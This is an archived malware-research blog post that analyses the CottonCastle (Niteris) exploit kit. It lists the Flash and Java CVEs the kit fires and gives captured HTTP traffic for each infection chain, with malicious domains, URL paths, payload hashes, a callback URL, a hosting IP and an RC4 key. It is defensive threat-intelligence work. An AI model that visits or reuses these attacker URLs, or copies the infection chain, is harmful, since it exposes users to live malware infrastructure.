Meet Niteris EK (formerly known as CottonCastle)

Archived: 2026-04-06 01:08:14 UTC

Thanks to an Independant researcher from Russia who shared some referer driving to an Exploit Kit on tcp 27005, I was able to meet again the "Unknow EK" that was first spotted by EKWatcher in September 2013.

GET http://alabamarog.socket-render.info:5125/h2p/3/BG/f444ab1cfeb2945d149c03508367776f.dts
200 OK (application/octed-stream)

GET http://alabamarog.socket-render.info:5125/h2i/3/BG/c708c60762f6a35c5fce213eb840ce51
200 OK (application/octed-stream)

OT: that infection chain was really interesting.
Out of Topic 1 : the redirecting js on the compromised website is quite interesting

There are points that i have trouble to explain.
The day after the Counter have disappeared and the Exploit Kit seems not replying to hosts from RU/UA. Really strange when we see what those counter were like on the 5th :

Distribution of OS hiting the exploit Kit landing
2014-06-06

One month of stats on the counter that was associated to the landing
2014-06-05
(note...EK is not associated to that counter right now)

Now let's see how this Exploit Kit is "weaponized".

CottonCastle : CVE-2013-0634

Successfull pass for CVE-2013-0634 in CottonCastle (from CA)
2014-06-06
(post shellcode call missing here)

GET http://afasaq.jax-updates
.pw:4433/forum/view/3/494f2e325d7efeaa894484780954a500/http%3A%2F%2Fherites.in%2Ffeeling%2Ffdhsasfetgfvsaxa%2F

203 Non-Authoritative Information (text/html)

GET http://afasaq.jax-updates .pw:4433/forum/tracker/3/AC/be2a27de7a3778b96a858d59d4569ba4/348.338.161.453/

200 OK (application/x-shockwave-flash)

GET http://afasaq.jax-updates .pw:4433/forum/advertisement/3/AC/464feda74d209abca9a05f244f4d7f3e

200 OK (text/html) *(detailed in CVE-2013-2465 pass)*

GET http://afasaq.jax-updates .pw:4433/forum/torrents/3/AC/37e8ccf9bf7a70d40d877bb592bd788a

In that case i blocked the shellcode from executing the payload.

Shellcode trying to execute payload.

But you should see that after infection
GET http://afasaq.jax-updates .pw:4433/forum/posting/111/
409 Conflict (text/html)

Host IP:

62.113.208.7

47447 | 62.113.192.0/18 | TTM | DE | 23MEDIA.EU | 23MEDIA GMBH

CottonCastle : CVE-2014-0515

It's the first time i see it in an Exploit Kit

CVE-2014-0515 firing in CottonCastle from DE
2014-06-05 - Flash 13.0.0.182

GET http://ajigin.iam-updates
.pw:4433/forum/view/3/f2fdfed9c68b57f0ce6427defab7aa08/http%3A%2F%2Fherites.in%2Ffeeling%2Ffdhsasfetgfvsaxa%2F

203 Non-Authoritative Information (text/html)

GET http://ajigin.iam-updates .pw:4433/forum/tracker/3/ED/333f38dc127936ab62ca5ce517c1ccd0/346.343.343.481/

GET http://ajigin.iam-updates .pw:4433/forum/advertisement/3/ED/4babaee37c31c47fe9dadc004f7a8732

200 OK (text/html) *(detailed in CVE-2013-2465 pass)*

GET http://ajigin.iam-updates .pw:4433/forum/torrents/3/ED/277ff652f2cb92471a6abfd2a5f26341

GET http://ajigin.iam-updates .pw:4433/forum/posting/111/

409 Conflict (text/html)

CottonCastle : CVE-2013-2465

CottonCastle firing code exploiting CVE-2013-2465 to java6u45
2014-06-06

GET http://abuzuc.jax-updates
.pw:4433/forum/view/3/f379a32d59f0fe08d75cecbb9b12b558/http%3A%2F%2Fherites.in%2Ffeeling%2Ffdhsasfetgfvsaxa%2F

203 Non-Authoritative Information (text/html)

Note : "OrbitWhite" is the rc4 for the rc funtion in the jar file.
Session after Hex2bin and rc4 decryption : http://abuzuc.jax-updates.pw:4433/forum/advertisement/3/AC/b87f6bc7ee855098e825312e151cc54c

GET http://abuzuc.jax-updates .pw:4433/forum/profile/3/AC/874a6ece58907e1f46934ea503aede0d.djvu

200 OK (text/html)

GET http://abuzuc.jax-updates .pw:4433/forum/topic/3/AC/c94043e9a1ef9b59b382d5803fa3dadd.mkv

200 OK (application/octed-stream) Exploit for CVE-2013-2465

GET http://abuzuc.jax-updates .pw:4433/forum/advertisement/3/AC/b87f6bc7ee855098e825312e151cc54c

GET http://abuzuc.jax-updates .pw:4433/forum/torrents/3/AC/7dc49f51e16116534357d5918c33a29a

Once again i blocked the payload execution but if infected you should get :

Call back to EK once payload is executed

GET abuzuc.jax-updates .pw:4433/forum/posting/111/

409 Conflict (text/html)

CottonCastle : CVE-2013-0422

I won't go in as much detailed as i did for CVE-2013-2465 but it's the same approach

GET http://bzycok.key-updates
.pw:4433/forum/view/3/8216ed0f457b3ac54ca52cd13383fe25/http%3A%2F%2Fleveloped.in%2Fgovernment%2F70d83bde3d5f7e0

203 Non-Authoritative Information (text/html)

GET http://bzycok.key-updates .pw:4433/forum/profile/3/LN/0d240529777cb6a302fdbbc437633a3d.djvu
200 OK (text/html)

GET http://bzycok.key-updates .pw:4433/forum/topic/3/LN/5453f6a894b378e19e5af7cce177803c.mkv
200 OK (application/octed-stream) 4724436c4f4a0d3406142b8cb9bee3c3

Piece of CVE-2013-0422 in CottonCastle 2014-06-06

GET http://bzycok.key-updates .pw:4433/forum/advertisement/3/LN/54642665c1bd63f868f64db861c8a953
200 OK (text/html) Encoded VBS

GET http://bzycok.key-updates .pw:4433/forum/topic/3/LN/5453f6a894b378e19e5af7cce177803c.mkv

409 Conflict (text/html)

GET http://bzycok.key-updates .pw:4433/forum/torrents/3/LN/1053ddb4e24bf9361a07d6bd5ed345ba
200 OK (application/x-bittorrent) < Decoded Payload : 22e98a119b8e0f1c0616fd7e377d0ec6 same familly as previous.

GET http://bzycok.key-updates .pw:4433/forum/posting/111/
409 Conflict (text/html)

CottonCastle : CVE-2013-2460

Once again I won't go in as much detailed as i did for CVE-2013-2465 but same approach

CVE-2013-2460 in CottonCastle : 2

GET http://bkysur.key-updates
.pw:4433/forum/view/3/22bd553e598f5b43b7cfee1ee2630080/http%3A%2F%2Fleveloped.in%2Fgovernment%2F70d83bde3d5f7e0
203 Non-Authoritative Information (text/html)

GET http://bkysur.key-updates .pw:4433/forum/profile/3/AC/bbce0e49bfc08250668441d0b80b7a63.djvu
200 OK (text/html)

GET http://bkysur.key-updates .pw:4433/forum/topic/3/AC/f2fe8bbc9c621e65a054598f8109a9a3.mkv
200 OK (application/octed-stream) be66263cd1524b72423c0b5ec8094113

CVE-2013-2460 in CottonCastle 2014-06-06

GET http://bkysur.key-updates .pw:4433/forum/topic/3/AC/f2fe8bbc9c621e65a054598f8109a9a3.mkv
409 Conflict (text/html)

GET http://bkysur.key-updates .pw:4433/forum/advertisement/3/AC/540ff821785fd90aeed5e30ee351a6c9
200 OK (text/html) Encoded VBS

GET http://bkysur.key-updates .pw:4433/forum/torrents/3/AC/bc5215485d8c485b2b277a5f569a6bad
200 OK (application/x-bittorrent)

GET http://bkysur.key-updates .pw:4433/forum/posting/111/
409 Conflict (text/html)

CottonCastle : CVE-2013-2551:

This CVE has been captured by Set_Abominae and covered by Malwageddon and identified by regenpijp1
I may update this post later once i face it.

This Exploit Kit is not widely used (maybe only by the operators Corkow botnet - and 2nd TDS).

Source: https://malware.dontneedcoffee.com/2014/06/cottoncastle.html